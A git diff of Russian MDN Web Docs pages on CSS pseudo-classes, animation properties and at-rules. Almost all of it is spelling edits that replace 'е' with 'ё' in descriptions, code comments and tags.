   - Гиперссылки
   - Справка
   - Ссылки
diff --git a/files/ru/web/css/_colon_default/index.html b/files/ru/web/css/_colon_default/index.html
index 45ac8c1819..e13201061e 100644
--- a/files/ru/web/css/_colon_default/index.html
+++ b/files/ru/web/css/_colon_default/index.html
@@ -14,7 +14,7 @@ input:default {
   background-color: lime;
 }
            
 
-
            Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс :default найдет все эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.
            
+
            Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс :default найдёт все эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/css/_colon_dir/index.html b/files/ru/web/css/_colon_dir/index.html
index 09422f6f13..4cf0bccb4b 100644
--- a/files/ru/web/css/_colon_dir/index.html
+++ b/files/ru/web/css/_colon_dir/index.html
@@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:dir'
            -

            Примечание: В HTML, направление задается атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.

            +

            Примечание: В HTML, направление задаётся атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.

            Синтаксис

            diff --git a/files/ru/web/css/_colon_disabled/index.html b/files/ru/web/css/_colon_disabled/index.html index 86a34bd10a..0c5812445b 100644 --- a/files/ru/web/css/_colon_disabled/index.html +++ b/files/ru/web/css/_colon_disabled/index.html @@ -9,7 +9,7 @@ translation_of: 'Web/CSS/:disabled'

            Описание

            -

            CSS псевдокласс :disabled находит любой отключенный элемент. Элемент отключен, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включенное состояние, когда его можно активировать или сфокусировать.

            +

            CSS псевдокласс :disabled находит любой отключённый элемент. Элемент отключён, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включённое состояние, когда его можно активировать или сфокусировать.

            Примеры

            @@ -17,9 +17,9 @@ translation_of: 'Web/CSS/:disabled'
            input:disabled
            -
            Выберет все отключенные поля ввода
            +
            Выберет все отключённые поля ввода
            select.country:disabled
            -
            Найдёт все отключенные select элементы с классом country
            +
            Найдёт все отключённые select элементы с классом country

            Пример использования

            diff --git a/files/ru/web/css/_colon_enabled/index.html b/files/ru/web/css/_colon_enabled/index.html index 7e83a52a5d..99e4402da0 100644 --- a/files/ru/web/css/_colon_enabled/index.html +++ b/files/ru/web/css/_colon_enabled/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/:enabled'

            Описание

            -

            CSS псевдокласс :enabled находит любой включенный элемент. Элемент включен, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключенное состояние, когда его нельзя активировать или сфокусировать.

            +

            CSS псевдокласс :enabled находит любой включённый элемент. Элемент включён, если его можно активировать (например, выбрать, нажать на него или ввести текст) или поставить фокус. У элемента также есть отключённое состояние, когда его нельзя активировать или сфокусировать.

            Пример

            diff --git a/files/ru/web/css/_colon_first-child/index.html b/files/ru/web/css/_colon_first-child/index.html index d31fc8acd2..927a3a5098 100644 --- a/files/ru/web/css/_colon_first-child/index.html +++ b/files/ru/web/css/_colon_first-child/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:first-child' 
            >
 /* Выбирает любой <p>, который является первым элементом
-   среди своих братьев и сестер */
+   среди своих братьев и сестёр */
 p:first-child {
   color: lime;
 }
            diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html index 3156d5c66e..a509c175d3 100644 --- a/files/ru/web/css/_colon_focus-visible/index.html +++ b/files/ru/web/css/_colon_focus-visible/index.html @@ -17,7 +17,7 @@ translation_of: 'Web/CSS/:focus-visible'

            Базовый пример

            -

            В этом примере селектор :focus-visible использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щелкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью :focus.

            +

            В этом примере селектор :focus-visible использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щёлкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью :focus.

            <input value="Default styles"><br>
 <button>Default styles</button><br>
diff --git a/files/ru/web/css/_colon_focus/index.html b/files/ru/web/css/_colon_focus/index.html
index 206b74a0e9..af809f7761 100644
--- a/files/ru/web/css/_colon_focus/index.html
+++ b/files/ru/web/css/_colon_focus/index.html
@@ -102,7 +102,7 @@ input:focus {
 
            Поддержка браузерами
            
 
 
            
-
+
 
 
            {{Compat("css.selectors.focus")}}
            
 
            
diff --git a/files/ru/web/css/_colon_fullscreen/index.html b/files/ru/web/css/_colon_fullscreen/index.html
index 5dc0c1afec..c527af137f 100644
--- a/files/ru/web/css/_colon_fullscreen/index.html
+++ b/files/ru/web/css/_colon_fullscreen/index.html
@@ -2,7 +2,7 @@
 title: ':fullscreen'
 slug: 'Web/CSS/:fullscreen'
 tags:
-  - Верстка
+  - Вёрстка
   - полноэкранный режим
   - псевдокласс
   - экран
@@ -36,7 +36,7 @@ translation_of: 'Web/CSS/:fullscreen'
 
 <button id="fs-toggle">Toggle Fullscreen</button>
            -

            {{HTMLElement("button")}} с ID "fs-toggle" будет изменятся между бледно-красный и бледно-зеленый в зависимости от того, находится ли документ в полноэкранном режиме.

            +

            {{HTMLElement("button")}} с ID "fs-toggle" будет изменятся между бледно-красный и бледно-зелёный в зависимости от того, находится ли документ в полноэкранном режиме.

            CSS

            diff --git a/files/ru/web/css/_colon_indeterminate/index.html b/files/ru/web/css/_colon_indeterminate/index.html index d4cf598129..e601e36af1 100644 --- a/files/ru/web/css/_colon_indeterminate/index.html +++ b/files/ru/web/css/_colon_indeterminate/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:indeterminate'

            CSS псевдокласс :indeterminate находит элементы в неопределённом состоянии.

            -
            /* Выбирает все элементы <input>, которые находятся в неопределенном состоянии */
+
            /* Выбирает все элементы <input>, которые находятся в неопределённом состоянии */
 input:indeterminate {
   background: lime;
 }
            
@@ -32,7 +32,7 @@ input:indeterminate {
 
 
            Чекбокс и радио переключатели
            
 
-
            В этом примере специальные стили применяются к меткам, которые привязаны к неопределенным полям формы.
            
+
            В этом примере специальные стили применяются к меткам, которые привязаны к неопределённым полям формы.
            
 
 
            HTML
            
 
diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html
index cd8f1848d1..d365dfa795 100644
--- a/files/ru/web/css/_colon_is/index.html
+++ b/files/ru/web/css/_colon_is/index.html
@@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:is'
 
 
            :is() это функция псевдокласс CSS принимающая список селекторов как аргумент, и выбирает любой элемент, который может быть выбран одним из селекторов в этом списке. Это полезно при переписи огромных селекторов в более компактную форму.
            
 
-
            Заметьте, что в данный момент браузеры поддерживают ее функционал как :matches(), или даже как более старый, префиксный псевдокласс — :any(), включая старые версии Chrome, Firefox, и Safari. :any() работает точно таким же образом как и :matches()/:is(), за исключением того, что  :any() требует постановку префиксов и не поддерживает комплексные селекторы.
            
+
            Заметьте, что в данный момент браузеры поддерживают её функционал как :matches(), или даже как более старый, префиксный псевдокласс — :any(), включая старые версии Chrome, Firefox, и Safari. :any() работает точно таким же образом как и :matches()/:is(), за исключением того, что  :any() требует постановку префиксов и не поддерживает комплексные селекторы.
            
 
 
            /* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */
 :is(header, main, footer) p:hover {
@@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:is'
   cursor: pointer;
 }
 
-/* Пример приведенный выше эквивалентен следующему */
+/* Пример приведённый выше эквивалентен следующему */
 header p:hover,
 main p:hover,
 footer p:hover {
diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html
index 88f406851d..8a9fcbb9b2 100644
--- a/files/ru/web/css/_colon_left/index.html
+++ b/files/ru/web/css/_colon_left/index.html
@@ -2,7 +2,7 @@
 title: ':left'
 slug: 'Web/CSS/:left'
 tags:
-  - Верстка
+  - Вёрстка
   - Псевдоклассы
 translation_of: 'Web/CSS/:left'
 ---
diff --git a/files/ru/web/css/_colon_target/index.html b/files/ru/web/css/_colon_target/index.html
index 46d0f88746..d3f5c5a0ef 100644
--- a/files/ru/web/css/_colon_target/index.html
+++ b/files/ru/web/css/_colon_target/index.html
@@ -2,7 +2,7 @@
 title: ':target'
 slug: 'Web/CSS/:target'
 tags:
-  - Верстка
+  - Вёрстка
   - Псевдоклассы
 translation_of: 'Web/CSS/:target'
 ---
@@ -153,7 +153,7 @@ p:target i {
   cursor: pointer;
 }
 
-/* Обертка lightbox  */
+/* Обёртка lightbox  */
 .lightbox .close::before {
   left: 0;
   top: 0;
diff --git a/files/ru/web/css/_colon_visited/index.html b/files/ru/web/css/_colon_visited/index.html
index f4288a183b..c1b516e912 100644
--- a/files/ru/web/css/_colon_visited/index.html
+++ b/files/ru/web/css/_colon_visited/index.html
@@ -12,9 +12,9 @@ translation_of: 'Web/CSS/:visited'
 
            CSS псевдокласс :visited позволяет вам выбирать ссылки, которые были посещены. Этот стиль может переопределяться другими относящимися к ссылкам псевдоклассами, такими как {{ cssxref(":link") }}, {{ cssxref(":hover") }} и {{ cssxref(":active") }}, появляющимися в соответствующем порядке. Чтобы стилизировать ссылки должным образом, вам нужно вставлять правило :visited до правила :link, но после других, определённых LVHA-порядком: :link — :visited — :hover — :active.
            
 
 
            
-
            Замечание: Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, fill и stroke. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвященных ссылок вместо него (но если прозрачность - 0, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвященных ссылок).
            
+
            Замечание: Из-за причин приватности, браузеры строго ограничивают стили, которые вы можете применить к элементу, используя этот псевдокласс: только {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, fill и stroke. Заметьте также, что альфа-канал будет игнорироваться: будет использоваться альфа-канал, используемый для непосвящённых ссылок вместо него (но если прозрачность - 0, то в этот случае игнорируется весь цвет, и один из используемых стилей для непосвящённых ссылок).
            
 
-
            Несмотря на то, что цвет может меняться, метод getComputedStyle наврёт и всегда будет давать значение цвета непосвященных ссылок.
            
+
            Несмотря на то, что цвет может меняться, метод getComputedStyle наврёт и всегда будет давать значение цвета непосвящённых ссылок.
            
 
 
            Для дополнительной информации об ограничениях и их причин, смотрите Приватность и селектор :visited.
            
 
            
diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html
index 3eb34a7c0e..5a7b922577 100644
--- a/files/ru/web/css/_colon_where/index.html
+++ b/files/ru/web/css/_colon_where/index.html
@@ -14,13 +14,13 @@ translation_of: 'Web/CSS/:where'
 
            
 
 
            /* Выбирает любой параграф внутри header, main
-   или footer на который наведен курсор мыши */
+   или footer на который наведён курсор мыши */
 :where(header, main, footer) p:hover {
   color: red;
   cursor: pointer;
 }
 
-/* Пример приведенный выше эквивалентен следующему */
+/* Пример приведённый выше эквивалентен следующему */
 header p:hover,
 main p:hover,
 footer p:hover {
@@ -54,7 +54,7 @@ footer p:hover {
 
 
            В этом примере показывается как работает :where(), а так же демонстрируется разница между :where() и :is().
            
 
-
            Возьмем следующий HTML-код:
            
+
            Возьмём следующий HTML-код:
            
 
 
            <article>
   <h2>:is()-styled links</h2>
@@ -109,7 +109,7 @@ footer p:hover {
   color: blue;
 }
            
 
-
            Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри :is() выше, чем специфичность селектора вышеприведенного кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.
            
+
            Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри :is() выше, чем специфичность селектора вышеприведённого кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.
            
 
 
            В то время как, селекторы перечисленные внутри :where() имеют нулевую специфичность, поэтому оранжевая ссылка в футере будет переопределена простым селектором и станет синего цвета.
            
 
diff --git a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
index 635676abae..a23502ee59 100644
--- a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
+++ b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
@@ -18,7 +18,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar'
 
            HTML
            
 
 
            <progress value="30" max="100">30%</progress>
-<progress max="100">Неопределенный бар прогресса</progress>
            
+<progress max="100">Неопределённый бар прогресса</progress>
            
 
 
            CSS
            
 
@@ -26,7 +26,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar'
   background-color: red;
 }
 
-/* Задает неопределенным барам нулевую ширину */
+/* Задаёт неопределённым барам нулевую ширину */
 :indeterminate::-moz-progress-bar {
   width: 0;
 }
            
diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html
index d0663700f2..34e36b8578 100644
--- a/files/ru/web/css/_doublecolon_slotted/index.html
+++ b/files/ru/web/css/_doublecolon_slotted/index.html
@@ -5,16 +5,16 @@ translation_of: 'Web/CSS/::slotted'
 ---
 
            {{ CSSRef }}
            
 
-
            CSS псевдо-элемент ::slotted() представляет собой любой элемент, помещенный в слот внутри HTML-шаблона (дополнительная информация в Using templates and slots).
            
+
            CSS псевдо-элемент ::slotted() представляет собой любой элемент, помещённый в слот внутри HTML-шаблона (дополнительная информация в Using templates and slots).
            
 
-
            Это работает только при использовании внутри CSS, помещенного в shadow DOM. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещенный в слот; он нацелен только на фактические элементы.
            
+
            Это работает только при использовании внутри CSS, помещённого в shadow DOM. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещённый в слот; он нацелен только на фактические элементы.
            
 
-
            /* Выбирает любой элемент, помещенный в слот */
+
            /* Выбирает любой элемент, помещённый в слот */
 ::slotted(*) {
   font-weight: bold;
 }
 
-/* Выбирает только <span>, помещенный в слот */
+/* Выбирает только <span>, помещённый в слот */
 ::slotted(span) {
   font-weight: bold;
 }
@@ -64,7 +64,7 @@ translation_of: 'Web/CSS/::slotted'
   }
 })
            
 
-
            Вы увидите, что при заполнении элемента style содержимым мы выбираем все  slotted-элементы (::slotted(*)) и задаем им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые еще не были успешно заполнены.
            
+
            Вы увидите, что при заполнении элемента style содержимым мы выбираем все  slotted-элементы (::slotted(*)) и задаём им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые ещё не были успешно заполнены.
            
 
 
            Элемент выглядит следующим образом при вставке на страницу:
            
 
diff --git a/files/ru/web/css/adjacent_sibling_combinator/index.html b/files/ru/web/css/adjacent_sibling_combinator/index.html
index 42893ac5e3..d5762bba46 100644
--- a/files/ru/web/css/adjacent_sibling_combinator/index.html
+++ b/files/ru/web/css/adjacent_sibling_combinator/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator
 ---
 
            {{CSSRef("Selectors")}}
            
 
-
            Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определенным в первой части элементом.
            
+
            Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определённым в первой части элементом.
            
 
 
            Синтакс
            
 
@@ -29,7 +29,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator
 
 
            {{EmbedLiveSample('Example_1', 200, 100)}}
            
 
-
            Так же может использоваться для задания стиля определенного класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:
            
+
            Так же может использоваться для задания стиля определённого класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:
            
 
 
            img + span.caption {
   font-style: italic;
diff --git a/files/ru/web/css/align-items/index.html b/files/ru/web/css/align-items/index.html
index 9d5a7f5843..705ea1dea0 100644
--- a/files/ru/web/css/align-items/index.html
+++ b/files/ru/web/css/align-items/index.html
@@ -42,10 +42,10 @@ align-items: unset;
  
            normal
            
  
            Эффект этого ключевого слова зависит от режима макета, в котором мы находимся::
  
              
-  
            • В абсолютно позиционированных макетах ключевое слово ведет себя как start в замененных абсолютно позиционированных блоках, и как stretch во всех других абсолютно позиционированных блоках.
              • 
-  
            • В статическом положении абсолютно позиционированных макетов ключевое слово ведет себя как stretch.
              • 
-  
            • Для гибких элементов ключевое слово ведет себя как stretch.
              • 
-  
            • Для элементов сетки это ключевое слово ведет к поведению, аналогичному stretch, за исключением полей с соотношением сторон или внутренних размеров, где оно ведет себя как start.
              • 
+  
            • В абсолютно позиционированных макетах ключевое слово ведёт себя как start в заменённых абсолютно позиционированных блоках, и как stretch во всех других абсолютно позиционированных блоках.
              • 
+  
            • В статическом положении абсолютно позиционированных макетов ключевое слово ведёт себя как stretch.
              • 
+  
            • Для гибких элементов ключевое слово ведёт себя как stretch.
              • 
+  
            • Для элементов сетки это ключевое слово ведёт к поведению, аналогичному stretch, за исключением полей с соотношением сторон или внутренних размеров, где оно ведёт себя как start.
              • 
   
            • Это свойство не применяется к блокам уровня блока и к ячейкам таблицы.
              • 
  
            
  
            
diff --git a/files/ru/web/css/all/index.html b/files/ru/web/css/all/index.html
index 632ac959d2..1510ac6c3b 100644
--- a/files/ru/web/css/all/index.html
+++ b/files/ru/web/css/all/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/all
 
 
            Описание
            
 
-
            Сокращенное свойство CSS all сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.
            
+
            Сокращённое свойство CSS all сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.
            
 
 
            {{cssinfo}}
            
 
@@ -78,7 +78,7 @@ blockquote {
 blockquote { background-color: skyblue;  color: red; }
            
 {{EmbedLiveSample("ex0", "200", "125")}}
 
-
            {{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определенным фоном и цветом текста. Он также ведет себя как block элемент : текст, который следует за ним, находится под ним.
            
+
            {{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определённым фоном и цветом текста. Он также ведёт себя как block элемент : текст, который следует за ним, находится под ним.
            diff --git a/files/ru/web/css/angle/index.html b/files/ru/web/css/angle/index.html index 782c6c4fe5..c4a228aca3 100644 --- a/files/ru/web/css/angle/index.html +++ b/files/ru/web/css/angle/index.html @@ -46,7 +46,7 @@ translation_of: Web/CSS/angle Angle180.png - Развернутый угол: 180deg = 200grad = 0.5turn ≈ 3.1416rad + Развёрнутый угол: 180deg = 200grad = 0.5turn ≈ 3.1416rad AngleMinus90.png diff --git a/files/ru/web/css/animation-delay/index.html b/files/ru/web/css/animation-delay/index.html index 55e5c537eb..48c0109f18 100644 --- a/files/ru/web/css/animation-delay/index.html +++ b/files/ru/web/css/animation-delay/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-delay

            Значение 0s, которое является значением по умолчанию, указывает на то, что анимация должна начаться непременно. В противном случае, старт анимации будет отложен на указанное время.

            -

            При указании отрицательного значения, анимация также начнется непременно, но ее воспроизведение начнется не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.

            +

            При указании отрицательного значения, анимация также начнётся непременно, но её воспроизведение начнётся не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.

            {{cssinfo}}

            diff --git a/files/ru/web/css/animation-direction/index.html b/files/ru/web/css/animation-direction/index.html index 52d0de3720..f07376ed79 100644 --- a/files/ru/web/css/animation-direction/index.html +++ b/files/ru/web/css/animation-direction/index.html @@ -7,9 +7,9 @@ translation_of: Web/CSS/animation-direction

            Описание

            -

            CSS-свойство animation-direction определяет, должна ли анимация воспроизводиться вперед, назад или переменно вперед и назад.
            +

            CSS-свойство animation-direction определяет, должна ли анимация воспроизводиться вперёд, назад или переменно вперёд и назад.

            - Также удобно использовать сокращенное свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.

            + Также удобно использовать сокращённое свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.

            {{cssinfo}}

            @@ -35,7 +35,7 @@ animation-direction: unset;
            normal
            -
            Анимация проигрывается вперед каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в начальное положение и снова проигрывается. Это значение по умолчанию.
            +
            Анимация проигрывается вперёд каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в начальное положение и снова проигрывается. Это значение по умолчанию.
            reverse
            Анимация проигрывается наоборот, с последнего положения до первого и потом снова сбрасывается в конечное положение и снова проигрывается.
            alternate
            diff --git a/files/ru/web/css/animation-duration/index.html b/files/ru/web/css/animation-duration/index.html index 7ca194463f..65e47aea2b 100644 --- a/files/ru/web/css/animation-duration/index.html +++ b/files/ru/web/css/animation-duration/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-duration

            Значение по умолчанию 0s определяет, что анимация не должна выполняться.

            -

            Удобно использовать сокращенное свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.

            +

            Удобно использовать сокращённое свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.

            {{cssinfo}}

            diff --git a/files/ru/web/css/animation-fill-mode/index.html b/files/ru/web/css/animation-fill-mode/index.html index 2549e3ac2d..855d8dad42 100644 --- a/files/ru/web/css/animation-fill-mode/index.html +++ b/files/ru/web/css/animation-fill-mode/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/animation-fill-mode

            Описание

            -

            CSS свойство animation-fill-mode определяет, как нужно применять стили к объекту анимации до и после ее выполнения.

            +

            CSS свойство animation-fill-mode определяет, как нужно применять стили к объекту анимации до и после её выполнения.

            {{cssinfo}}

            @@ -32,7 +32,7 @@ animation-fill-mode: both, forwards, none;
            none
            -
            Стили анимации не будут применены к элементу до и после ее выполнения.
            +
            Стили анимации не будут применены к элементу до и после её выполнения.
            forwards
            По окончании анимации элемент сохранит стили последнего ключевого кадра, который определяется значениями {{cssxref("animation-direction")}} и {{cssxref("animation-iteration-count")}}: @@ -56,22 +56,22 @@ animation-fill-mode: both, forwards, none; - + - + - + - + @@ -114,8 +114,8 @@ animation-fill-mode: both, forwards, none; 
            <p>Наведите курсор мыши на серый блок</p>
 <div class="demo">
-  <div class="grows">Этот просто растет</div>
-  <div class="growsandstays">Этот растет и остается большим</div>
+  <div class="grows">Этот просто растёт</div>
+  <div class="growsandstays">Этот растёт и остаётся большим</div>
 </div>

            CSS

            diff --git a/files/ru/web/css/animation-iteration-count/index.html b/files/ru/web/css/animation-iteration-count/index.html index 653e843e65..9039dcfedb 100644 --- a/files/ru/web/css/animation-iteration-count/index.html +++ b/files/ru/web/css/animation-iteration-count/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-iteration-count

            CSS свойство animation-iteration-count определяет сколько раз будет проигрываться анимационный цикл, перед тем как остановиться.

            -

            Наиболее удобно использовать это свойство в сокращенном варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.

            +

            Наиболее удобно использовать это свойство в сокращённом варианте {{ cssxref("animation") }}, в котором указываются все анимационные свойства.

            {{cssinfo}}

            @@ -36,7 +36,7 @@ animation-iteration-count: 2, 0, infinite;
            infinite
            Анимация повторяется бесконечно.
            <number>
            -
            Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведет половину анимационного цикла).
            +
            Сколько раз анимация будет повторяться; по умолчанию 1. Отрицательные значения не используются. Можно использовать не целые значения, для проигрывания части анимационного цикла (например, 0.5 воспроизведёт половину анимационного цикла).

            Правила синтаксиса

            diff --git a/files/ru/web/css/animation-name/index.html b/files/ru/web/css/animation-name/index.html index 2e6ff16b28..a81e2e82d6 100644 --- a/files/ru/web/css/animation-name/index.html +++ b/files/ru/web/css/animation-name/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-name -

            Часто удобно использовать сокращенное свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.

            +

            Часто удобно использовать сокращённое свойство {{cssxref("animation")}} для одновременной установки всех свойств анимации.

            Синтаксис

            @@ -40,7 +40,7 @@ animation-name: unset
            none
            Это специальное ключевое слово, обозначающее отсутствие ключевых кадров. Оно может быть использовано для отключения анимации без изменения порядка других идентификаторов, или для отключения анимации, поступающей из каскада.
            {{cssxref("custom-ident","<custom-ident>")}}
            -
            Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учета регистра от a до z, цифр от 0 до 9, подчеркивания (_), и/или черты (-). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть none, unset, initial, или inherit в любой комбинации случаев.
            +
            Строка, идентифицирующая анимацию. Этот идентификатор состоит из комбинации букв без учёта регистра от a до z, цифр от 0 до 9, подчёркивания (_), и/или черты (-). Первый символ без черты должен быть буквой (то есть, без цифры в начале, даже если перед ним стоит черта.) Кроме того, две черты запрещены в начале идентификатора. Оно не может быть none, unset, initial, или inherit в любой комбинации случаев.

            Формальный синтаксис

            diff --git a/files/ru/web/css/animation-play-state/index.html b/files/ru/web/css/animation-play-state/index.html index 293765d1e9..fc92ee5605 100644 --- a/files/ru/web/css/animation-play-state/index.html +++ b/files/ru/web/css/animation-play-state/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/animation-play-state

            Свойство animation-play-state определяет состояние анимации, паузы или проигрыша. Это можно использовать, чтобы определить текущее состояние анимации, например, в скриптах.

            -

            Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнется с начала.

            +

            Если возобновить приостановленную анимацию, то она запустит её с того места, где она была поставлена на паузу, а не начнётся с начала.

            {{cssinfo}}

            diff --git a/files/ru/web/css/animation-timing-function/index.html b/files/ru/web/css/animation-timing-function/index.html index 5b4d0660b6..5e0e2e857d 100644 --- a/files/ru/web/css/animation-timing-function/index.html +++ b/files/ru/web/css/animation-timing-function/index.html @@ -50,7 +50,7 @@ translation_of: Web/CSS/animation-timing-function
            <timingfunction>
            -
            Каждый {{cssxref("<timing-function>")}} представляет функцию расчета времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.
            +
            Каждый {{cssxref("<timing-function>")}} представляет функцию расчёта времени для связи с соответствующим свойством animate, как определено в {{cssxref("animation-property")}}.

            Формальный синтаксис

            diff --git a/files/ru/web/css/appearance/index.html b/files/ru/web/css/appearance/index.html index 3ae986fbd9..b84ac013b4 100644 --- a/files/ru/web/css/appearance/index.html +++ b/files/ru/web/css/appearance/index.html @@ -2624,7 +2624,7 @@ div{ color: black;

            Примеры

            -

            Нижеприведенный пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:

            +

            Нижеприведённый пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:

            .exampleone {
   -moz-appearance: toolbarbutton;
diff --git a/files/ru/web/css/at-rule/index.html b/files/ru/web/css/at-rule/index.html
index 38cf88c874..f318aebe28 100644
--- a/files/ru/web/css/at-rule/index.html
+++ b/files/ru/web/css/at-rule/index.html
@@ -18,17 +18,17 @@ translation_of: Web/CSS/At-rule
 
              
  
            • {{cssxref("@charset")}} — Определяет кодировку символов, используемый таблицей стилей.
              • 
  
            • {{cssxref("@import")}} — Сообщает движку CSS включить внешнюю таблицу стилей.
              • 
- 
            • {{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имен XML.
              • 
+ 
            • {{cssxref("@namespace")}} — Сообщает механизму CSS, что все его содержимое должно рассматриваться с приставкой пространства имён XML.
              • 
  
            • Вложенные at-правила — Подмножество вложенных операторов, которые могут использоваться как оператор таблицы стилей, а также внутри правил условной группы.
   
                
-   
              • {{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определенного с помощью медиавыражения.
                • 
+   
              • {{cssxref("@media")}} — Условное групповое правило, которое будет применять его содержимое, если устройство соответствует критериям условия, определённого с помощью медиавыражения.
                • 
    
              • {{cssxref("@supports")}} — Условное групповое правило, которое будет применять его содержимое, если браузер соответствует критериям данного условия.
                • 
    
              • {{cssxref("@document")}} {{experimental_inline}} — Условное групповое правило, которое будет применять его содержимое, если документ, в котором применяется таблица стилей, соответствует критериям данного условия.
                • 
-   
              • {{cssxref("@page")}} — Описывает аспект изменений макета, который будет применен при печати документа.
                • 
+   
              • {{cssxref("@page")}} — Описывает аспект изменений макета, который будет применён при печати документа.
                • 
    
              • {{cssxref("@font-face")}} — Описывает аспект внешнего шрифта для загрузки.
                • 
    
              • {{cssxref("@keyframes")}} — Описывает аспект промежуточных шагов в последовательности анимации CSS.
                • 
    
